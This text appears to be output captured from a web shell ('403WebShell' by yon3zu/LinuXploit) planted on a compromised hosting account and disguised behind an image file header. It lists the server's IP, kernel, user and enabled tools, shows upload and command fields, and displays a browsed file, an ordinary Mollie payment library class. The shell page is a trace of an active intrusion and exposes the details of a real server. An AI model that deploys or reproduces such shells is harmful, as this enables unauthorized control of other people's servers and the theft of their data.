����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.228.200
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/mollie/mollie-api-php/src/Resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/mollie/mollie-api-php/src/Resources/ClientLink.php
<?php

namespace Mollie\Api\Resources;

use Mollie\Api\Types\ApprovalPrompt;

class ClientLink extends BaseResource
{
    /**
     * @var string
     */
    public $resource;

    /**
     * Id of the client link.
     *
     * @example csr_vZCnNQsV2UtfXxYifWKWH
     * @var string
     */
    public $id;

    /**
     * An object with several URL objects relevant to the client link. Every URL object will contain an href and a type field.
     *
     * @var \stdClass
     */
    public $_links;

    /**
     * Get the redirect URL where the customer can complete the payment.
     *
     * @return string|null
     */
    public function getRedirectUrl(string $client_id, string $state, array $scopes = [], string $approval_prompt = ApprovalPrompt::AUTO)
    {
        if (! in_array($approval_prompt, [ApprovalPrompt::AUTO, ApprovalPrompt::FORCE])) {
            throw new \Exception('Invalid approval_prompt. Please use "auto" or "force".');
        }

        $query = http_build_query([
            'client_id' => $client_id,
            'state' => $state,
            'approval_prompt' => $approval_prompt,
            'scope' => implode(' ', $scopes),
        ], '', '&', PHP_QUERY_RFC3986);

        return "{$this->_links->clientLink->href}?{$query}";
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit